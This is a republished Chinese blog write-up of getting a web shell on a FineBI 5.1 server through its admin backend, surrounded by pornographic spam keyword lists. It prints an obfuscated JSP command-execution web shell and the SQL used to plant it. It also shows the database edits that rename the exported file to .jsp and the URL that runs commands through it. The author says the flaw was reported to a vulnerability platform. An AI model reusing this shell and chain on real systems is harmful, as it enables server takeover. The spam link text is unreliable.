日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

记一次曲折的后台getshell过程

發布時間:2024/1/23 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 记一次曲折的后台getshell过程 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

最近團隊在對某個廠商進行測試,辛辛苦苦搞了快一個星期才拿到一個 shell,弟弟太慘了

0x01 開始復現

訪問url進入登錄界面,輸入管理密碼進入頁面

請裝作沒有看到我那個失敗的XSS,過了這么久也忘記了在哪里改回來了

進入頁面

我這咋一看,我丟這不是和通某OA差不多嗎,當初通某OA剛發的時候,全是XSS,越權,SQL注入,未授權啥的,那時候也是更上了那次風,小賺了一筆

好了,不扯皮了,正式開始復現,進入頁面后,點擊數據準備

添加一個業務包,點擊進去后發現可以添加數據表

再一看右上角有一個全局更新,點進入一看,我丟,數據表內容可以任意位置存放。

看到之后,心想這不就翱翔了嘛,系統管理處好像有個添加數據庫連接,這波就直接在本地數據庫插入一個馬子,再到這里一連接,然后一添加表,再一導出,不就直接getshell啦

直接開始操作,進入本地數據庫,選擇phpstudy創建數據庫自帶的sys數據庫,進入再創建一個test表

use sys; create table test(test varchar(2555) not null);

在數據庫中插入木馬內容,因為是java環境就是插入jsp的馬子

insert into test(test) values ('<%if(request.getParameter("cmd")!= null) { Class rt = Class.forNama(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 })); Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke( rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd")); java.io.InputStream in = e.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(""); while((a = in.read(b)) != -1) {out.println(new String(b)); } out.print("");} %>');

回到系統中,將自己數據庫添加進去,系統管理-數據連接-數據連接管理-新建數據連接

選擇mysql,添加配置

測試連接

回到數據準備處

找到我們創建的test數據庫中test的數據表,確定

查看我們的馬子:

點擊全局更新,修改下路徑,注:因為路由問題,是無法直接訪問的,需要放到C:\FineBI5.1\webapps\webroot\scripts路徑下,但因為目錄下必須為空,所以需要在前面隨意添加目錄,它會自動創建

點擊立刻更新多維數據庫

注:它默認會有很多數據,建議提前全部刪除,我這里之前已經刪了,就不搞了

查看文件是否到了指定目錄,文件位置在

C:\FineBI5.1\webapps\webroot\scripts\admin\db\T_C162F2\super\P-1\S-1

查看文件中

然后我們就發現了一個很嚴重的問題.....不是 jsp 后綴,這不就當場裂開了嗎

但是現在就差著臨門一腳,怎么可能半途放棄,現在能解決我現在就兩種方法了,文件包含,和任意文件名修改了,不過java站好像沒有文件包含吧,手動滑稽,現在就只能一條路了,任意文件名修改,其實的話,原本是有一個的。。。但是是我朋友先發現的,就提交給某天了,導致沒得用,現在就簡單的給大家看一下

就是這個位置,任意文件名修改,用個burp抓個包改就好了,具體就不演示了,然后還有什么辦法呢,想了一天之后,終于給我找到了一處可能可以的

位置在:管理系統-智能運維-備份還原處

看到左上角角落里躲著一直設置的圖標,點擊一下

可以看到這又是一個任意文件存放,但是沒啥用因為我們要的是任意文件名修改,所以主題不在這里,隨意改一下備份路徑等下好找,保持,回到頁面,點擊一下手動備份,名字隨意

現在重點來了,拿小本本記號,必考

勾選之前的備份,開啟 burp,點擊重命名

發現好像只有一個ID來判斷文件,沒有指定文件名,當時腦子就一晃,難道我就真的不能getshell了嗎?

不不不,仔細一想,它好像走的是數據庫欸,然后一個ID和一個name,那么數據庫中必定包含著文件路徑,要不然怎么修改,對了忘記給文件路徑的圖片了,文件目錄在

C:\FineBI5.1\webapps\webroot\backup\config\manual\

這么長的路徑,不管怎么說都得有個路徑吧,現在就進入數據庫找一找,

不負所望有了路徑,應該只需要backupName和savePath兩個參數就可以實現任意文件名修改了

現在就會有人問了,怎么才能連接數據庫呢,不著急且聽我慢慢道來,在系統中有個管理權限,可以配置外接數據庫,只要有一臺外網服務器,一個符合數據庫版本和允許遠程登錄的數據庫,不就成了么

開始實現:

位置在:管理系統-系統管理-常規-外接數據庫

家境貧寒沒有服務器,就找個我兄弟的服務用了一下,等下和他意思意思一下就可以了,現在說一下為什么要配置外接數據庫,Finebi5.1 配置了外接,內容所有數據都會存入外接數據庫當中,然后....手動滑稽

注意數據庫版本是被指定的

咳咳,回到正題,現在我們開始修改數據庫內容,至于表怎么找到的,別問,問就是一個一個翻

update fine_backup_node set backupName="col-0-dic" where backupName='2020.12.29_10.11.24123';update fine_backup_node set savePath="../scripts/admin/db/T_C162F2/super/P-1/S-1" where savePath='../backup/config/manual';

再次查看發現已經修改成功

這里說一下,為什么是把文件名改為col-0-dic,而不是直接加上jsp,因為它這個是會在指定的那個路徑去尋找文件,如果改為col-0-dic.jsp,就找不到文件了,所以現在就開始快樂的修改文件名環節

修改數據庫后,回到系統后,刷新

可以看到文件名已經修改,現在開始重命名添加上 jsp 后綴

保存,到主機上查看

發現已經被修改,訪問執行whoami,參數cmd,GET請求

IP:端口/webroot/scripts/admin/db/T_C162F2/super/P-1/S-1/col-0-dic.jsp?cmd=whoami

成功了,歷時五天六個小時,終于 getshell 了

?

0x04 結語

現在就是已經拿到 shell 權限了,因為是用管理權限運行的,至少都是一個管理員權限,不就想干啥干啥了,然后其中還有很多很多挫折的,試了很多很多方法,才找到一個(果然還是我太菜),但還是不負眾望(相關漏洞已提交至某天 src)

總結

以上是生活随笔為你收集整理的记一次曲折的后台getshell过程的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 三上悠亚在线一区二区 | 风流还珠之乱淫h文 | 中文写幕一区二区三区免费观成熟 | 特大黑人巨交性xxxx | 久久美女视频 | 中文字幕福利视频 | 免费观看黄色一级视频 | 免费大片黄在线观看视频网站 | 黄色片免费观看视频 | 打屁股外国网站 | 亚洲欧美系列 | 波多野结衣在线看 | 亚洲精品黄色片 | 超碰人人澡 | 欧美日韩二区三区 | 中国黄色一级大片 | 一级片aaaaa 国产又黄又粗又猛又爽 | 99视频在线播放 | 精品国产乱码久久久久夜深人妻 | 成人av免费播放 | 91成人小视频 | 欧美男女交配 | 青青草狠狠操 | 久久久久久久久久久影院 | 大胸喷奶水www视频妖精网站 | 亚洲乱码国产乱码精品精98午夜 | 成人免费看片载 | 免费黄色av片| 中文字幕第99页 | 日韩欧美国产成人精品免费 | 日韩av高清| 国产又粗又大又爽视频 | 色婷婷av一区二区三区大白胸 | 亚洲精品av在线 | 特大黑人巨交吊性xx | 色呦呦中文字幕 | 国产免费福利 | 久久国产精品综合 | 亚洲欧美偷拍一区 | 免费无码毛片一区二区app | 动漫玉足吸乳羞免费网站玉足 | 亚洲成人网在线播放 | 999久久久久| 精品免费国产一区二区三区 | 欧美亚洲视频在线观看 | 黄色a毛片 | 天天躁夜夜躁狠狠躁 | 亚洲乱码中文字幕久久孕妇黑人 | www.狠狠干 | 一区二区观看 | av中文在线 | 婷婷在线免费 | 日韩精品电影一区二区三区 | av在线浏览 | 国产亚洲欧美精品久久久久久 | 天天做天天躁天天躁 | 99免费在线| 动漫女被黄漫免费视频 | 欧美日韩在线播放视频 | 荫蒂被男人添免费视频 | 麻豆av剧情 | 18岁免费观看电视连续剧 | 国产精品国产精品国产 | 朱竹清到爽高潮痉挛 | 国产黄频| 国产精品刺激 | 久久精品国产亚洲AV无码男同 | 99国产精品一区 | 亚洲国产日韩一区二区 | 在线亚洲观看 | 天天爱天天做天天爽 | 日韩av电影网址 | 国产成人无码av在线播放dvd | 亚洲成av人片在线观看 | av噜噜在线 | 亚洲色大成网站www www.97ai.com | 青青草老司机 | 日本欧美黄色 | 免费视频一区 | 国产精品国产三级国产aⅴ 欧美bbbbbbbbbbbb18av | 中文字幕国产亚洲 | 亚洲逼| a级免费网站 | 天天干夜夜骑 | 狠狠久久| 中国女人一级片 | 色人阁在线视频 | 日韩一级视频 | 一级成人黄色片 | 涩涩视频网址 | 亚洲涩色 | 91黄瓜视频| 中文字幕第3页 | 日本午夜精品 | 亚洲熟妇无码av | 狠狠干成人 | 亚洲欧美精品午睡沙发 | 天天欧美 | 久久精品国内 |